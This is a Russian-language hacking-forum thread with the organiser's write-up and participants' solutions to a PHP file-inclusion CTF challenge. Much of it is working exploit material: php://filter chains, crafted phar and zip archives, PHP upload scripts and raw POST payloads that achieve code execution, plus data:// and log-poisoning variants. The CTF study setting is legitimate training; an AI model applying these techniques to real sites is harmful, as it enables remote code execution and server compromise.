HOME FORUMS MEMBERS RECENT POSTS LOG IN  
× Авторизация
Имя пользователя:
Пароль:
Нет аккаунта? Регистрация
Баннер 1   Баннер 2
НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ
loading...
Скрыть
Вернуться   ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Этичный хакинг или пентестинг > Задания/Квесты/CTF/Конкурсы
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #21  
Старый 01.06.2019, 13:35
dooble
Участник форума
Регистрация: 30.12.2016
Сообщений: 218
С нами: 4931606

Репутация: 138
По умолчанию

Прохождение.

Первый способ - враппер php://.

Заходим login: password = 1:1 и смотрим,

есть инклюд файла, в который можем писать произвольную информацию.

Нужно обойти одно ограничение (стоппер die() в начале файла) и соблюсти одно условие (в параметр page должны подстрокой войти "login.php" или "view.php").

Если последовать подсказке о статье в "Хакере" и набрать в поиске "хакер врапперы", то в топе видим две статьи, обе полезные, а в https://xakep.ru/2012/11/22/php-filter-wrapper-attacks/ прямо конкретное решение расписано.

Смысл такой, нужно фильтром испортить код стоппера, или вырезать его совсем, а полезную начинку декодировать в валидный код для инклюда.

Например:

Энкодим base64_encode('');

и полученную строку

Код:
PD9waHAgcGhwaW5mbygpOz8+
отсылаем прям через форму отправки исследуемых скриптов.

При вызове используем два фильтра, strip_tags вырежет стоппер, а base64-decode восстановит код нашей начинки.

"login.php" или "view.php" можно добавить в запрос одним из следующих способов:

Код:
index.php?page=php://filter/login.php/read=string.strip_tags|convert.base64-decode/resource=db/info.php
index.php?page=php://filter/read=login.php/string.strip_tags|convert.base64-decode/resource=db/info.php
index.php?page=php://filter/read=login.php|string.strip_tags|convert.base64-decode/resource=db/info.php
Без strip_tags код тоже выполнится, просто будет мусор от испорченного стоппера.

Аналогичные преобразования можно делать с фильтрами quoted-printable или rot13.

Второй способ основан на использовании архивов phar.

Доступ к файлам в архиве через враппер phar://, осуществляется без необходимости распаковки.

Юзаем следующую особенность, если обращаться к архиву через вызов phar://script_name.php/path_to_file, то stub (это некоторый php код в начале архива, нужный для инициализации класса работы с архивом phar) не вызывется и мы можем поместить туда наш стоппер.

Он станет частью архива, но при вызове не будет интерпретироваться.

Содержимое архива воспринимается, как продолжение файловой системы, сформируем файл login.php с нужной нам начинкой, .

Единственное препятствие, архив защищен от модификации напрямую - контролем целостности, поэтому если его просто подать на вход view.php, в начало архива допишется "\n" и получим ошибку "SHA1 signature could not be verified:".

Обходим просто, готовим архив с добавлением этой вставки в начало, а перед отправкой отрежем ее. Скрипт view.php ее снова добавит и архив восстановит свою целостность.

Код:
Вызываем
http://task.antichat.com:10007/index.php?page=phar://db/info.php/view.php
Код:
';
$stopper="\n";
$local_path_to_archive="/tmp/in.phar";
$url_to_exploit="http://task.antichat.com:10007/index.php?page=view.php";
$url_to_get_result="http://task.antichat.com:10007/index.php?page=phar://db/info.php/view.php";

@unlink($local_path_to_archive);
$p = new Phar($local_path_to_archive);
$p->setStub($stopper."");
$p['view.php'] = $evil_code;
$a=implode(array_slice(file($local_path_to_archive), 1));
if( $curl = curl_init() ) {
    curl_setopt($curl, CURLOPT_URL, $url_to_exploit);
    curl_setopt($curl, CURLOPT_POST, true);
    curl_setopt($curl, CURLOPT_POSTFIELDS, array(
        'data' => $a,
        'Save' => 'Save'
    ));
    curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
    $out = curl_exec($curl);
    curl_close($curl);
    $curl = curl_init();
    curl_setopt($curl, CURLOPT_URL, $url_to_get_result);
    curl_setopt($curl, CURLOPT_HEADER, false);
    curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
    $out = curl_exec($curl);
    echo $out;
    curl_close($curl);
} else echo "Curl not installed";
Третий способ - архив zip.

В зипе нет никакого стаба, поэтому исследуем и ищем другой способ вставить стоппер.

Тестим и приходим к выводу,

Архивы zip могут быть приготовлены разными способами и содержать разную начинку, не теряя функциональности.

В имени файла можно использовать и проблемные символы, в т.ч. и слеш.

Стоппер можно сформировать в одном месте архива, а потом перенести в другое, при этом целостность архива проверяется по размеру, а не по содержимому.

Код:
 $p,
        'Save' => 'Save'
        ));
    curl_setopt($curl, CURLOPT_HEADER, false);

    curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
    $out = curl_exec($curl);
    curl_close($curl);
    $curl = curl_init();
    curl_setopt($curl, CURLOPT_URL, $url_to_get_result);
    curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
    $out = curl_exec($curl);
    echo $out;
    curl_close($curl);
} else echo "Curl not installed";

function getshell(){
    $evil_code='';
    $header="\n";
    $local_path_to_archive="/tmp/test.zip";
    $inc_file="/tmp/test.php";

    @unlink($local_path_to_archive);
    file_put_contents($inc_file,$evil_code);
    $zip = new ZipArchive();
    if ($zip->open($local_path_to_archive, ZIPARCHIVE::CREATE)!==TRUE) {
        exit("could not open file $local_path_to_archive\n");
    }
    $zip->addFromString($header,"");
    $zip->addFile($inc_file,"/tmp/view.php");
    $zip->close();
    @unlink($inc_file);
    $r=preg_replace("/\n/si", "", file_get_contents($local_path_to_archive),1);

    return $r;
}
Читерский способ, готовим архив phar с нужной вставкой и конвертируем его в zip

Код:
$zip = $p->convertToData(Phar::ZIP);
.SpoilerTarget" type="button">Spoiler: Прохождения участников:

Цитата:
Сообщение от =HALK=  

1. дописываем в файл код в base64
PD9waHAgcGhwaW5mbygpPz4g
2. инклюдим используя фильтры:
http://task.antichat.com:10007/index.php?page=php://filter/login.php|string.strip_tags|convert.base64-decode/resource=db/info.php
Цитата:
Сообщение от =HALK=  

1. Генерируем пейлод
Код:
\n";
@unlink("t.phar");
$phar = new Phar("t.phar");
$phar->startBuffering();
$phar->addFromString("login.php","");
$phar->setStub($stopper."__HALT_COMPILER(); ?>");
$phar->stopBuffering();
echo urlencode(file_get_contents("t.phar",FALSE, NULL, strlen($stopper)));
2. Загружаем его на сервер
Код:
POST /index.php?page=view.php HTTP/1.1
Host: task.antichat.com:10007
Content-Type: application/x-www-form-urlencoded
Content-Length: 304

data=__HALT_COMPILER%28%29%3B+%3F%3E%0D%0A7%00%00%00%01%00%00%00%11%00%00%00%01%00%00%00%00%00%00%00%00%00%09%00%00%00login.php%11%00%00%00%85%A9%E4%5C%11%00%00%00%05d%1C%D7%B6%01%00%00%00%00%00%00%3C%3Fphp+phpinfo%28%29%3F%3E%12%1E%F8c%A2O%C3%5C%FF%2A%13%C4%F9%89%E5%8Dz%0Er%23%02%00%00%00GBMB&Save=Save
3. Инклюдим код
http://task.antichat.com:10007/index....php/login.php
Цитата:
Сообщение от =HALK=  

1. Тупо руками создал zip архив и в редакторе его подправил
(писать скрипт для генерации сейчас нет времени)
2. Загружаем данные на сервер
Код:
POST /index.php?page=view.php HTTP/1.1
Host: task.antichat.com:10007
Content-Type: application/x-www-form-urlencoded
Content-Length: 707

data=nfo.php%3C%3Fphp+die%28%27Access+denied%27%29%3B+%3F%3E%0A1PK%03%04%0A%00%00%00%00%00%CE%28%B6N%05d%1C%D7%11%00%00%00%11%00%00%00%09%00%00%00login.php%3C%3Fphp+phpinfo%28%29%3F%3EPK%01%02%3F%00%0A%00%00%00%00%00%13%28%B6Np4hE+%00%00%00+%00%00%00%08%00%24%00%00%00%00%00%00%00+%00%00%00%00%00%00%00info.php%0A%00+%00%00%00%00%00%01%00%18%00R%EE%93%25B%10%D5%01%80%84%F1%CBi%0C%D5%01%DF%A4Iyj%0C%D5%01PK%01%02%3F%00%0A%00%00%00%00%00%CE%28%B6N%05d%1C%D7%11%00%00%00%11%00%00%00%09%00%24%00%00%00%00%00%00%00+%00%00%00F%00%00%00login.php%0A%00+%00%00%00%00%00%01%00%18%00%CA%98%0A%F7B%10%D5%01%00u%CD%E2B%10%D5%01%00u%CD%E2B%10%D5%01PK%05%06%00%00%00%00%02%00%02%00%B5%00%00%00%7E%00%00%00%00%00&Save=Save
3. Инклюдим код
http://task.antichat.com:10007/index...hp%23login.php
Цитата:
Сообщение от Gorbachev  

Ну да, чутка подумал, нашел вариант:
http://task.antichat.com:10007/inde...ble-decode/resource=/var/www/html/db/info.php
Ну и в файл соответственно =3C=3Fphp phpinfo();
Цитата:
Сообщение от Gorbachev  

Пошагово:
1) сначала создаем валидный рабочий архив:
Код:
$p = new Phar('in.phar');
$stub = "\n";
$p->setStub($stub);
$p['login.php'] = '';
На выходе получаем рабочий архив.
2) из готового архива удаляем лишнее, для загрузки его на файл view.php
Код:
$filea = file_get_contents('in.phar');
$file = str_replace("\n",'',$filea);
3) грузим его на файл view.php
Код:
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL,"http://task.antichat.com:10007/view.php");
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS,"Save=1&data=".urlencode($file));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$server_output = curl_exec($ch);
curl_close ($ch);
4) пробуем выполнить:
http://task.antichat.com:10007/index....php/login.php
Цитата:
Сообщение от Gorbachev  

Ну да, чутка подумал, нашел вариант:
http://task.antichat.com:10007/inde...ble-decode/resource=/var/www/html/db/info.php
Ну и в файл соответственно =3C=3Fphp phpinfo();
Цитата:
Сообщение от Gorbachev  

Пока не могу врубиться почему по адресу:
http://task.antichat.com:10007/index....php/login.php
он не выполняется.
У меня на локалке отрабатывает. Пошагово:
1) сначала создаем валидный рабочий архив:
Код:
$p = new Phar('in.phar');
$stub = "\n";
$p->setStub($stub);
$p['login.php'] = '';
На выходе получаем рабочий архив.
2) из готового архива удаляем лишнее, для загрузки его на файл view.php
Код:
$filea = file_get_contents('in.phar');
$file = str_replace("\n",'',$filea);
3) грузим его на файл view.php
Код:
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL,"http://task.antichat.com:10007/view.php");
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS,"Save=1&data=".urlencode($file));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$server_output = curl_exec($ch);
curl_close ($ch);
4) пробуем выполнить:
http://task.antichat.com:10007/index....php/login.php
и ничего не выполняется...
Но при этом выполняется на локалхосте, если делаю пошагово тоже самое.
Чутка позже буду разбираться что там не так.
Цитата:
Сообщение от Gorbachev  

Зарешал zip. Но я так понял, я читерский вариант нашёл.
Пошагово:
Создаем ZIP архив с нужным содержимым, и модифицируем его под наши реалии:
Код:
$zipa = dirname($_SERVER['SCRIPT_FILENAME']).'/zip.zip';
$zip = new ZipArchive;
 if ($zip->open($zipa,1)){
  $zip->addFromString( '/test/view.php','' );
 }
$zip->close();

    $fds = file_get_contents($zipa);
    $fd = fopen($zipa, "w+");
    $text = "\n".$fds;
    fwrite($fd, $text);
    fclose($fd);
Далее, в линуксовой консоли делаем восстановление полученного архива командой:
zip -F zip.zip --out newzip.zip
После чего скриптом его модифицируем, и отправляем куда надо:
Код:
$filea = file_get_contents('newzip.zip');
$file = str_replace("\n",'',$filea);

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL,"http://task.antichat.com:10007/view.php");
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS,"Save=1&data=".urlencode($file));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$server_output = curl_exec($ch);
curl_close ($ch);
Ну а далее, через тот же курл ссылаемся:
http://task.antichat.com:10007/index.php?page=zip:///var/www/html/db/info.php#/test/view.php
Видим phpinfo();
Цитата:
Сообщение от Раrаdох  

Добрый день.
Присылаю вам решение (способ
№1
) Task #7 (
/threads/470693/
):
1. Переходим по адресу:
Код:
/index.php?page=view.php
2. Вставляем в textarea:
PHP код:
[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]3C[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]3Fphp phpinfo[/COLOR][COLOR="#007700"]();[/COLOR][/COLOR
И жмем "Save".
3. Переходим по адресу:
Код:
/index.php?page=php://filter/read=string.strip_tags|convert.quoted-printable-decode|login.php/resource=db/info.php
4. Наблюдаем выполненное задание:

// Что произошло? Ровно следующее:
В п.2 записали в файл php код в quoted-printable формате (перед этим туда система записывает константную строку с die (
view.php:5
), затем сделали include данного файла с помощью php wrapper, где с помощью фильтра удалили php код с die, и впоследствии в пайплайне декодировали quoted-printable с нужным нам кодом.
Удачного дня!
Цитата:
Сообщение от Раrаdох  

Добрый вечер
Присылаю решение Task #7 способом №2 (через
phar
wrapper).
Схема такова
: мы помним, что можем писать в файл
./db/info.php
(с помощью отправки POST данных на скрипт
./view.php
), но также не забываем и о том, что оный скрипт конкатенирует
слева
наши данные со следующими:
PHP код:
[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"][/COLOR]\n[/COLOR
Благо, что
phar
архивы так устроены, что в шапку искомого можно положить некоторую полезную информацию, лишь бы потом хеш-сумма файла была верной. Тогда оптимальным решением будет положить туда эти самые строки (которые дописывает скрипт), создать архив, выдернуть их оттуда с помощью любого hex-редактора, и отправить на сервер. Дальше дело техники - открыть архив с нужным файлом и выполнить задание.
Итак, шаги следующие:
  1. Создаем phar архив с помощью интерпретатора PHP:

    PHP код:
    [COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"][/COLOR][COLOR="#0000BB"]startBuffering[/COLOR][COLOR="#007700"]();
    [/
    COLOR][COLOR="#FF8000"]// Создаем файл view.php, чтобы затем обойти проверки скрипта на содержание такого текста в GET переменной `page`.
    [/COLOR][COLOR="#0000BB"]$phar[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]addFromString[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'view.php'[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]''[/COLOR][COLOR="#007700"]);
    [/
    COLOR][COLOR="#0000BB"]$phar[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]setStub[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]"\n"[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#DD0000"]''[/COLOR][COLOR="#007700"]);
    class[/
    COLOR][COLOR="#0000BB"]AnyClass[/COLOR][COLOR="#007700"]{}
    [/
    COLOR][COLOR="#0000BB"]$object[/COLOR][COLOR="#007700"]= new[/COLOR][COLOR="#0000BB"]AnyClass[/COLOR][COLOR="#007700"];
    [/
    COLOR][COLOR="#0000BB"]$phar[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]setMetadata[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$object[/COLOR][COLOR="#007700"]);
    [/
    COLOR][COLOR="#0000BB"]$phar[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]stopBuffering[/COLOR][COLOR="#007700"]();
    [/
    COLOR][COLOR="#0000BB"]?>
    [/COLOR][/COLOR] 
  2. Открываем его с помощью hex-редактора и удаляем строки, которые вставит скрипт при загрузке файла. Получится примерно такая история:


  3. Загружаем это на сайт с помощью скрипта ./view.php аналогично способу №1 для задачи (с той лишь разницей, что грузим бинарные данные, так что будем отсылать POST запрос вручную с предварительно обработанным через urlencode() урезанным архивом).
  4. Переходим по адресу:

    Код:
    /index.php?page=phar://db/info.php/view.php
    И видим нужный нам результат:

На этом задача завершена.
Цитата:
Сообщение от Раrаdох  

Доброе утро
Отменяю свою просьбу выше, т.к. успел.
Присылаю решение 3-го способа решения таска.
Сразу оговорюсь, что методику приготовления архива я выяснил исключительно экспериментально возясь с архивами и почитывая спецификацию, так что я не уверен что она будет совпадать с вашей.
Итак:
  1. Создаем на локальной машине файл view.php (такое название обязательно дабы впоследствии обойти защиту на присутствии этого текста в запросе), туда пихаем php-скрипт:

    PHP код:
    [COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"][/COLOR][/COLOR
  2. Там же создаем файл с любым названием и любым содержанием (делать файл большого размера нет большого смысла). Например, abc.txt с содержанием:

    Код:
    foo
  3. Архивируем это в zip-архив без сжатия, притом (!) выбирая сначала файл view.php, а уже потом второй (это потому что в архив они попадают в обратном порядке, и нам надо чтобы полезная нагрузка оказалась снизу (если потом открыть архив через hex-редактор). Если делаете архив с помощью кода, то на этот момент можно не обращать внимания).
  4. Открываем полученный архив в любом hex-редакторе, и дублируем всё содержимое файла в самого себя (чтобы из "ABC" получилось "ABCABC").
  5. Ищем в самом конце файла сигнатуру (всегда будет такая по спецификации) архива 50 4B, выглядит так:


  6. И без зазрения совести портим первый байт, можем заменить на 00или на что угодно, кроме исходного варианта.
  7. Теперь можем смело заменять хедер архива чем угодно по меньшей мере мере вплоть до очередной сигнатуры 50 4B(можно и дальше если сильно надо будет), т.е. эту часть:



    В нашем случае должно получиться примерно так (0A это \n):


  8. Сохраняем и проверяем что архив нормально открывается (желательно прямо средствами соотв. php-wrapper'а).
  9. Теперь, как и в "способе №2", удаляем строки, которые вставит скрипт при загрузке файла из архива, и загружаем на сайт (опять же аналогично второму способу).
  10. Задача решена:

// Стоит отметить, что не обязательно руками через hex-редактор делать все операции, можно автоматизировать в общем виде с помощью самописного скрипта, но в рамках данной задачи без надобности.
Цитата:
Сообщение от Раrаdох  

Ещё добавлю, что метод работает благодаря особенностям
помехоустойчивого кодирования
zip-архивов, и что файл-пустышка (напр.: abc.txt) будет испорчен для открывания.
Цитата:
Сообщение от giloo  

Приветик)
Не думала что сумею)))))
Сначала кодируем через rot13 нашу строчку:

получаем:

Дальше бежим сюда и обходим фильтры через "пхп фильтры))":
http://task.antichat.com:10007/inde...r|string.rot13|\view.php/resource=db/info.php
Я смогла!!!))))))
Цитата:
Сообщение от giloo  

Второй способ найден!
Для этого сначала нужно создать phar архив из директории в которой есть допустим view.php с нашим шеллом вот так:
Код:
setStub('\n');*/
   $archive->setStub("\n".'\n');
    $archive->buildFromDirectory($folder_to_compress,'');
?>
Обязательно в стаб нужно добавить тот код который присутствует в db/info.php что-бы не было инклуд не ругался на верификацию SHA1.
Из полученного архива убираем "\n" хекс редактором и весь бинарный результат кодируем в url.
Нагрузку шлем в такск, бежим по адресу
http://task.antichat.com:10007/index...o.php/view.php
и радуемся)))
Надеюсь ничего не пропустила)
Цитата:
Сообщение от topthing  

Код:
=3C=3Fphp phpinfo();
Код:
http://task.antichat.com:10007/index.php?page=php://filter/read=string.strip_tags|convert.quoted-printable-decode/login.php/resource=db/info.php
Цитата:
Сообщение от topthing  

Код:
//PD9waHAgcGhwaW5mbygpOw
Код:
http://task.antichat.com:10007/index.php?page=php://filter/read=convert.base64-decode/login.php/resource=db/info.php
Цитата:
Сообщение от topthing  

Через PHAR
Скрипт
PHP код:
[COLOR="#000000"][COLOR="#0000BB"]$url[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]'http://task.antichat.com:10007/index.php?page=view.php'[/COLOR][COLOR="#007700"];

[/
COLOR][COLOR="#0000BB"]$tmpFile[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]'/tmp/app.phar'[/COLOR][COLOR="#007700"];
[/
COLOR][COLOR="#0000BB"]$pharPayload[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]'\n"[/COLOR][COLOR="#007700"];
[/COLOR][COLOR="#0000BB"]$postData[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]''[/COLOR][COLOR="#007700"];
[/COLOR][COLOR="#0000BB"]$phar[/COLOR][COLOR="#007700"]= new[/COLOR][COLOR="#0000BB"]Phar[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$tmpFile[/COLOR][COLOR="#007700"]);
[/COLOR][COLOR="#0000BB"]$phar[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]startBuffering[/COLOR][COLOR="#007700"]();
[/COLOR][COLOR="#0000BB"]$phar[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]setStub[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$stopper[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$postData[/COLOR][COLOR="#007700"]);
[/COLOR][COLOR="#0000BB"]$phar[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'
login.php'[/COLOR][COLOR="#007700"]] =[/COLOR][COLOR="#0000BB"]$pharPayload[/COLOR][COLOR="#007700"];
[/COLOR][COLOR="#0000BB"]$phar[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]stopBuffering[/COLOR][COLOR="#007700"]();

[/COLOR][COLOR="#0000BB"]$pharBin[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]file_get_contents[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$tmpFile[/COLOR][COLOR="#007700"]);
[/COLOR][COLOR="#0000BB"]unlink[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$tmpFile[/COLOR][COLOR="#007700"]);

[/COLOR][COLOR="#0000BB"]$boundary[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]'
--------------------------'[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]microtime[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]true[/COLOR][COLOR="#007700"]);
[/COLOR][COLOR="#0000BB"]$context[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]stream_context_create[/COLOR][COLOR="#007700"]([
[/COLOR][COLOR="#DD0000"]'
http'[/COLOR][COLOR="#007700"]=> [
[/COLOR][COLOR="#DD0000"]'
method'[/COLOR][COLOR="#007700"]=>[/COLOR][COLOR="#DD0000"]'POST'[/COLOR][COLOR="#007700"],
[/COLOR][COLOR="#DD0000"]'
header'[/COLOR][COLOR="#007700"]=>[/COLOR][COLOR="#DD0000"]'Content-Type: multipart/form-data; boundary='[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$boundary[/COLOR][COLOR="#007700"],
[/COLOR][COLOR="#DD0000"]'
content'[/COLOR][COLOR="#007700"]=>[/COLOR][COLOR="#DD0000"]"--"[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$boundary[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#DD0000"]"\r\n"[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#DD0000"]"Content-Disposition: form-data; name=\"data\"\r\n\r\n"[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]substr[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$pharBin[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]strlen[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$stopper[/COLOR][COLOR="#007700"])) .[/COLOR][COLOR="#DD0000"]"\r\n"[/COLOR][COLOR="#007700"].
[/COLOR][COLOR="#DD0000"]"--"[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$boundary[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#DD0000"]"\r\n"[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#DD0000"]"Content-Disposition: form-data; name=\"Save\"\r\n\r\nSave\r\n"[/COLOR][COLOR="#007700"],
],
]);

echo[/COLOR][COLOR="#0000BB"]file_get_contents[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$url[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]false[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$context[/COLOR][COLOR="#007700"]);[/COLOR][/COLOR] 
Запуск
php -d phar.readonly=off test.php
Шел тут:
Код:
http://task.antichat.com:10007/index.php?page=phar://db/info.php/login.php
Цитата:
Сообщение от nix_security  

Привет! Есть 1й способ)
Через прямой доступ к скрипту view.php мы можем записывать данные в обход авторизации. Запишем следующее:
Код:
=3C=3Fphpinfo();
Таким образом, файл db/info.php примет вид:
Код:
 =3C=3Fphpinfo();
Для вызова php-кода воспользуемся враппером php://. Payload примет вид:
Код:
GET  /index.php?page=php://filter/read=string.strip_tags|convert.quoted-printable-decode|login.php/resource=db/info.php
Через разделитель "| " можно указывать произвольное количестов фильтров. Фильтр strip_tags мы используем, чтобы удалить существующие php теги стоппера. Фильтр quoted-printable-decode - декодирует наш пэйлод (кодировали в quoted-printable чтобы защитить его от strip_tags). И наконец, login.php - несуществующий фильтр, который мы используем для байпаса проверки.
PS Спасбо за таск. Буду думать над вторым и третьим способами решения.
Цитата:
Сообщение от BenderMR  

Привет. Вот первый метод:
1) php://
В начале идем на
Код:
http://task.antichat.com:10007/index.php?page=view.php
и делаем пост с такой строкой
Код:
=3C=3Fphp phpinfo();
потом вызываем db/info.php с такими фильтрами:
Код:
http://task.antichat.com:10007/index.php?page=php://filter/read=string.strip_tags|convert.quoted-printable-decode|login.php/resource=db/info.php
Как результат получаем phpinfo()
Цитата:
Сообщение от manfromkz  

Привет
Пока нашел самый легкий способ, остальные видимо надо глубже копать. Пишем в info.php
Код:

Далее вызываем
Код:
http://task.antichat.com:10007/index.php?page=php://filter/string.rot13/view.php/resource=db/info.php
Цитата:
Сообщение от danilkib95  

Payload: =3C=3Fphp phpinfo=28=29=3B =3F=3E
Request:
http://task.antichat.com:10007/inde...table-decode|login.php/resource=./db/info.php
Серьезно ??? это считается простой первый флаг ?)
Цитата:
Сообщение от IvanV  

Хай, задание конечно интересное, привет из 2012? Жаль что уже такое не встретишь.
URL:
http://task.antichat.com:10007/inde...uoted-printable-decode/resource=./db/info.php
payload: =3c=3fphp phpinfo=28=29=3b =3f=3e
По факту - справились с заданием, это очень хорошо.

Трое прошли полностью.

=HALK= прошел без подсказок и, скорее всего, без особого напряга.

Gorbachev хорош тем, что справляется с заданиями, планка которых чуть выше его привычных дел. Почитал, потестил, сделал - мое уважение.

Раrаdох удивил подробным райтапом, не знаю где он работает, видимо часто приходится делать отчеты. Единственно, не согласен с "метод работает благодаря особенностям помехоустойчивого кодирования zip-архивов". Там даже crc нет, контролируется только размер.

Вообще, все молодцы!

Даже те, кто не прислал решение, потыкали, поюзали поиск, посмотрели решения - все равно польза.

И да, тема не уместилась в одно задание, будет продолжение, на более свежем примере.
 
Ответить с цитированием

  #22  
Старый 01.06.2019, 13:45
BabaDook
Познавший АНТИЧАТ
Регистрация: 09.05.2015
Сообщений: 1,066
С нами: 5797046

Репутация: 40


По умолчанию

Paradox iz yandex
 
Ответить с цитированием

  #23  
Старый 02.06.2019, 03:13
Раrаdох
Познающий
Регистрация: 30.01.2014
Сообщений: 87
С нами: 6465206

Репутация: 33
По умолчанию

Рад что на этот раз было время поучаствовать в таске. Всё понравилось, особенно с zip. Спасибо ребятам кто готовил задание
 
Ответить с цитированием

  #24  
Старый 02.06.2019, 12:16
topthing
Новичок
Регистрация: 23.12.2018
Сообщений: 15
С нами: 3890486

Репутация: 6
По умолчанию

С zip действителньо интересно. Хороший таск.
 
Ответить с цитированием

  #25  
Старый 03.06.2019, 04:02
BabaDook
Познавший АНТИЧАТ
Регистрация: 09.05.2015
Сообщений: 1,066
С нами: 5797046

Репутация: 40


По умолчанию

Цитата:
Сообщение от quite gray  
quite gray said:

Не вижу в списках решивших на отлично Task 7 ника BabaDook. Почему?
не заслужил. Если честно, то даже не смотрел таск, что-то руки не дошли. Да и вряд ли все 3 метода сделал бы. С зипом- Это первое что пришло в голову.На рутми вроде был похожий таск.

п.с. даже если бы решил, то я прошу не разглашать это.
 
Ответить с цитированием

  #26  
Старый 05.06.2019, 12:17
=HALK=
Новичок
Регистрация: 30.10.2008
Сообщений: 12
С нами: 9226092

Репутация: 17
По умолчанию

хороший тамада и конкурсы интересные
 
Ответить с цитированием

  #27  
Старый 08.06.2019, 20:28
crlf
Постоянный
Регистрация: 18.03.2016
Сообщений: 663
С нами: 5344886

Репутация: 441


По умолчанию

+ варианты сферических коней

Код:
allow_url_include = On
http://task7/index.php?page=data:text/html;base64,PD9waHAgcGhwaW5mbygpOyA/Pg==login.php
Код:
curl 'http://task7/?'
http://task7/?page=php://filter/login.php/resource=/var/logs/nginx/task7.access.log
 
Ответить с цитированием

  #28  
Старый 08.06.2019, 23:28
Тот_самый_Щуп
Участник форума
Регистрация: 23.03.2017
Сообщений: 265
С нами: 4812086

Репутация: 119
По умолчанию

Цитата:
Сообщение от crlf  

+ варианты сферических коней
Код:
curl 'http://task7/?'
http://task7/?page=php://filter/login.php/resource=/var/logs/nginx/task7.access.log
Вообще по красоте исполнил.

А враппер compress.zlib:// кто нибудь интересно осилил?

У меня бензобак уже на первом враппере закончился, так как ковырял варианты без врапперов.

С phar по моим ощущениям было полегче, чем с php, ну а ZIP это не мой уровень, я до объявления результатов так и не понял, в чем фишка, вывозил уже на морально-волевых, на характере зарешал.
 
Ответить с цитированием

  #29  
Старый 09.06.2019, 08:58
dooble
Участник форума
Регистрация: 30.12.2016
Сообщений: 218
С нами: 4931606

Репутация: 138
По умолчанию

Цитата:
Сообщение от Gorbachev  

ну а ZIP это не мой уровень, я до объявления результатов так и не понял, в чем фишка, вывозил уже на морально-волевых, на характере зарешал.
Тем не менее, использовать штатную возможность восстановления поврежденных архивов - хорошая находка, достаточно технологично.

Не нужно навыков программирования, руки-то вот они, запаковал нужные файлы, грубо добавил в начало текст стоппера и указал архиватору ключ починить архив - фсё, имеем валидный zip-архив с нужным префиксом.
 
Ответить с цитированием
Ответ





Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.